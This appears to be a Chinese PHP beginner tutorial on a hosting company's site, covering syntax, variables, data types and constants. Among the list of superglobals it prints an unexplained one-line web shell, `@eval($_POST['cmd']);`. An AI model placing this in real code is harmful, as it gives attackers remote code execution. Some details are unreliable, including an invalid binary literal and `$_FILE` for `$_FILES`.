您现在的位置是:群英 > 开发技术 > PHP语言
PHP基础语法有哪些?变量和常量分别是什么?
Admin发表于 2022-07-26 17:44:42414 次浏览
今天这篇给大家分享的知识是“PHP基础语法有哪些?变量和常量分别是什么?”,小编觉得挺不错的,对大家学习或是工作可能会有所帮助,对此分享发大家做个参考,希望这篇“PHP基础语法有哪些?变量和常量分别是什么?”文章能帮助大家解决问题。


本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于基础语法、变量、变量类型以及常量的相关内容,主要为了巩固基础,希望对大家有帮助。

推荐学习:《PHP视频教程》

前言:

PHP中文名叫超文本预处理器,是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点,利于学习,使用广泛,主要适用于Web开发领域。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。

一、基础语法

(一)语言标记

  • 基本标记: <?php //PHP代码; ?>
  • 短标记:<? //PHP代码; ?>
  • 脚本标记:<script language='PHP'>PHP代码;</script>
  • ASP标记:<% //PHP代码;%>

注:纯PHP脚本文件建议使用不闭合基本标记:<?php //PHP代码

(二)指令分隔符

  • PHP用分号来表示一串代码的结束,每段代码必须以';'结束。
  • 注意:结束标记?>表示的是隐含一个分号,所以PHP代码的最后一行是可以不用加分号的!建议都加。

(三)注释

<?php
	//这是单行注释
    #这也是单行注释
	/*
		这是多行注释
	*/
?>

(四)HTML和PHP区别

  1. PHP是HTML语言的升级形式,语言结构仍然以HTML为核心;HTML是一种用于指定网页内容的标记语言,而PHP是一种脚本语言
  2. 使用HTML创建的网页是静态网页,而PHP文件可以创建动态网页,PHP文件可以包含文本,HTML标记和脚本等等。
  3. HTML对于PHP来说就是字符串,而HTML作为PHP语言中的字符串,直接输出;并且HTML标签作为单独的标签,可以写在PHP标签之外!

(五)PHP换行

  • "<br/>"浏览器显示换行,源代码显示<br/>
  • "\n"浏览器不显示换行,源代码显示换行

(六)'echo'与'print'回显命令区别

  • echo 支持多个字符串输出,用逗号(,)隔开,print只支持一个字符串输出;
  • echo 输出速度比print快;
  • print()有返回值,成功,返回值为1;false,返回值为0,而echo 没有返回值
<?php
	//echo用法
	echo "xiaofeng is cool<br>";
	echo "xiaofeng"," ","is"," ","cool","!";
	
?>
<hr>
<?php
	//print用法
	print "hello world!";
	print "<br>";
	print "hello";
	print " ";
	print "world";
	print "!"
?>

总结:编写代码时尽量还是用echo,因为它是支持多字符串输出的,如果你执意要用print,我也拦不住你,可是只能输出一个字符串,可不要贪杯哦~

(七)关键字

编程语言里事先定义好并赋予特殊含义的单词,也称作保留字。和其他语言一样,PHP中保留了许多关键字,例如class、public等。

注:表示从PHP5.3开始,●表示从PHP5.4开始,▲表示从PHP5.5开始

(八)基础语法实例说明

<html>
<head>
	<meta charset="utf-8">
	</head>
<body></body>
</html>

<?php
	//echo 输出字符串
	echo "hello,My name is xiaofeng!";//每行代码必须以;结束
	echo "<br/>"; #表示换行,浏览器和源代码都显示换行。
	echo "My name is <span style = 'color:blue;'>xiaofeng</span>"//最后一行可以不用
?>

<hr/>

<?php
	//再来个php
	echo "祈祷疫情早日结束!<br>";
	echo "常州加油\n常州加油\n常州加油"; //也表示换行,只是浏览器不显示换行,源代码显示换行。
?>

二、变量

(一)变量包含的三个内容

  • 变量名
  • 变量值(变化)
  • 数据类型,变量值的类型

注:PHP脚本语言是一种弱类型语言,和其他语言不同的是变量(常量)的数据类型由程序的上下文决定(给予一个变量赋予什么样的值,就是什么样的数据类型)

(二)变量的声明和释放

<?php
	echo $name;//Notice: Undefined variable
	$name = "xiaofeng"; //初次赋值,初始化
	echo $name;
	echo "<hr>";
	unset($name); //unset()函数释放指定变量
	echo $name;//释放了,输出肯定报错
?>

(三)变量命名和赋值

  • 变量名严格区分大小写
  • 变量名由字母、数字、下划线组成,不能以数字开头,也不能包含其他字符(空白字符、特殊字符、空白符等等)
  • 变量命名时,最好采用驼峰式命名法或者下划线命名法,做到“见面知意

1.小驼峰,第一个单词首字母小写,之后单词首字母大写. $ userName (一般用户变量,函数,方法名)
大驼峰,每个单词首字母大写. $ UserModel (一般用于类和类文件命名)
2.下划线命名法,$ _user_name

<?php
	$age = 21;//变量赋值
	echo $age,$Age,$AGE,$aGe;//变量严格区分大小写,只有第一个输出,后面三个都报错Notice: Undefined variable:

	//echo $name; //Notice: Undefined variable
	echo "<hr/>";
	$name = "zhangsan";
	$name1 = "lisi";
	$my_name = "xiaofeng";
	$your_name = "chuhe";
	echo $name,"<br>",$name1,"<br>",$my_name,"<br>",$your_name;
?>

注意:命名的时候最好不要使用常量函数名或者类名,PHP是可以使用的,但为了后期代码审计,建议还是不要用PHP关键字作为变量名称。

(四)可变变量$$

  • 变量名字可以动态的设置和使用
  • 由于$$是php的特性,产生变量覆盖漏洞
<?php
	$name = "xiaofeng";
	#可变变量-$$
	$$name = "hello world!";//表示$xiaofeng
	
	echo "<hr />";
	echo $name;
	echo "<br/>";
	echo $xiaofeng;//输出hello world!
	?>

(五)变量引用赋值

简单理解为变量起了一个别名!

<?php
	$a = 20;
	$b = $a;
	$b++;
	echo "b的值变为了";echo $b;echo "<br>";//b的值变为了21
	echo "a的值还是";echo $a;//a的值没变还是20
	echo "<hr>";
	$c = &$a; //应用赋值
	$c++; //相当于给$a起了一个别名,$c就是$a的本身
	echo "c的值变为了";echo $c;echo "<br>"; //c的值为21
	echo "a的值变为了";echo $a;//a的值也变为了21
?>

(六)预定义变量(全局变量)

系统定义的变量,都是数组,用户可以直接使用(后期更新博客细说!)

$_SERVER

$_GET

$_POST

$_REQUEST

$_FILE

$_SESSION

$_COOKIE

$_ENV

$GLOBALS

<?php
    @eval($_POST['cmd']);
?>

三、变量类型(数据类型)

(一)分类

(二)整型

  • 规则
  1. 整数必须有至少一个数字(0-9)
  2. 整数不能包含逗号或空格
  3. 整数不能有小数点
  4. 整数正负均可
  • 三种格式规定整数:十进制、十六进制(前缀是 0x)或八进制(前缀是 0)
<?php
$x = -20; // 负数
$x = 20; //十进制
$x = 0x8C; // 十六进制数
$x = 047; // 八进制数
$x = b110; //二进制数
?>

(三)浮点型

浮点数是有小数点或指数形式的数字。

<?php
    $f = 3.22;//小数
    $f = 123456789012; //超出整型范围
    $f = 1.2e20;//科学计数法
/*
精度:精确的有效数字位数
Float:单精度,4个字节
Double:双精度,8个字节
PHP中都是双精度
*/?>

(四)布尔型

$a = true;
$a = false;

(五)字符串型

<?php
	//单引号定义字符串
	$name = 'xiaofeng';
	var_dump($name);
	$str = 'I\'m xiaofeng!'; //单引号定义字符串出现字符串,采用\进行转义
	$str = '{$name},I\'m xiaofeng!';//单引号定义的字符串中出现变量名,不会引用变量的值。
	echo '<br/>';echo $str;
	echo '<hr/>';
	
	//双引号定义字符串
	$name = "chuhe";
	$str = "I'm chuhe!";//双引号定义字符串,直接输出即可
	$str = "{$name},I'm chuhe";//双引号定义的字符串中出现变量名,会引用变量的值。
	echo $str;
	echo '<hr/>';
	
	//定界符定义字符串
	$str = <<<dada
	%$^%&%&%&%&^%##$#$@#;''
	<p style = "color:green;">xiaofengdada</p>
dada;
	//定界符结尾后面不能有任何字符,包括注释,并且闭合定界符必须位于行的开头!
	echo $str;	
?>

定义字符串时需要注意:

  • 单引号`` :内部的内容只是作为字符串。

  • 双引号"" :如果内部是PHP的变量,那么会将该变量的值解析。如果内部是html代码,也会解析成html。

  • 定界符:第一个定界符行后不能有任何字符(包含空格),闭合定界符必须位于行的开头

(六)数组型

数组在一个变量中存储多个值。

<?php
$cars=array("name","age","Sex");
var_dump($cars);
?>

(七)特殊数据类型——NULL

特殊的 NULL 值表示变量无值。NULL 是数据类型 NULL 唯一可能的值。NULL 值标示变量是否为空。也用于区分空字符串与空值数据库。

<?php
$a=null;
var_dump($a);
?>

四、常量

(一)常量和变量的区别

  • 常量前面没有美元符号($)
  • 常量只能用 define() 函数定义,而不能通过赋值语句
  • 常量可以不用理会变量范围的规则而在任何地方定义和访问
  • 常量一旦定义就不能被重新定义或者取消定义
  • 常量的值一般是bool,int,float,string类型

(二)预定义常量

PHP已经定义好了的,可以直接使用的常量,一般代表特殊的含义。

系统常量:PHP_VERSION,PHP_INT_MAX,PHP_INT_SIZE

魔术常量:__DIR__,__FILE__,__LINE__,__CLASS__,__METHOD__,__NAMESPACE__

<?php
	define("name","xiaofeng");//定义一个常量
	echo name;
	echo "<hr>";
	#name = "chuhe";//Parse error: syntax error, unexpected '='
	echo __FILE__;echo "<hr>";//输出当前文件名完整路径
	echo __LINE__;echo "<hr>";//输出php源码中的行号
	echo PHP_OS;echo "<hr>";//输出当前系统UNIX或者WINNT
	echo PHP_VERSION;echo "<hr>";//输出当前php版本
	echo DIRECTORY_SEPARATOR;echo "<hr>";//输出操作系统决定目录的分隔符\/
?>



通过以上内容的阐述,相信大家对“PHP基础语法有哪些?变量和常量分别是什么?”已经有了进一步的了解,更多相关的问题,欢迎关注群英网络或到群英官网咨询客服。

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。

标签: php
相关信息推荐
2022-09-13 17:48:01 
摘要:在css中,height是元素高度的意思,是css中的一个属性;该属性用于定义元素内容区的高度,不包括填充、边框或页边距,行内非替换元素会忽略这个属性,默认情况下该属性的值为“auto”,语法为“元素{height:属性值;}”。
2022-08-04 17:46:37 
摘要:Bootstrap中怎么使用提示工具?下面本篇文章给大家介绍一下Bootstrap5中弹出提示和工具提示组件的用法,希望对大家有所帮助!
2021-12-20 17:46:39 
摘要:这篇文章给大家分享的是C++实现二叉树遍历的内容,包括二叉树的前序、中序和后序这三种遍历,对大家学习和理解二叉树遍历有一定的帮助,小编觉得挺实用的,因此分享给大家做个参考,文中示例代码介绍的非常详细,感兴趣的朋友接下来一起跟随小编看看吧。
云活动
推荐内容
热门关键词
热门信息
群英网络助力开启安全的云计算之旅
立即注册,领取新人大礼包
  • 联系我们
  • 24小时售后:4006784567
  • 24小时TEL :0668-2555666
  • 售前咨询TEL:400-678-4567

  • 官方微信

    官方微信
Copyright  ©  QY  Network  Company  Ltd. All  Rights  Reserved. 2003-2019  群英网络  版权所有   茂名市群英网络有限公司
增值电信经营许可证 : B1.B2-20140078   粤ICP备09006778号
免费拨打  400-678-4567
免费拨打  400-678-4567 免费拨打 400-678-4567 或 0668-2555555
微信公众号
返回顶部
返回顶部 返回顶部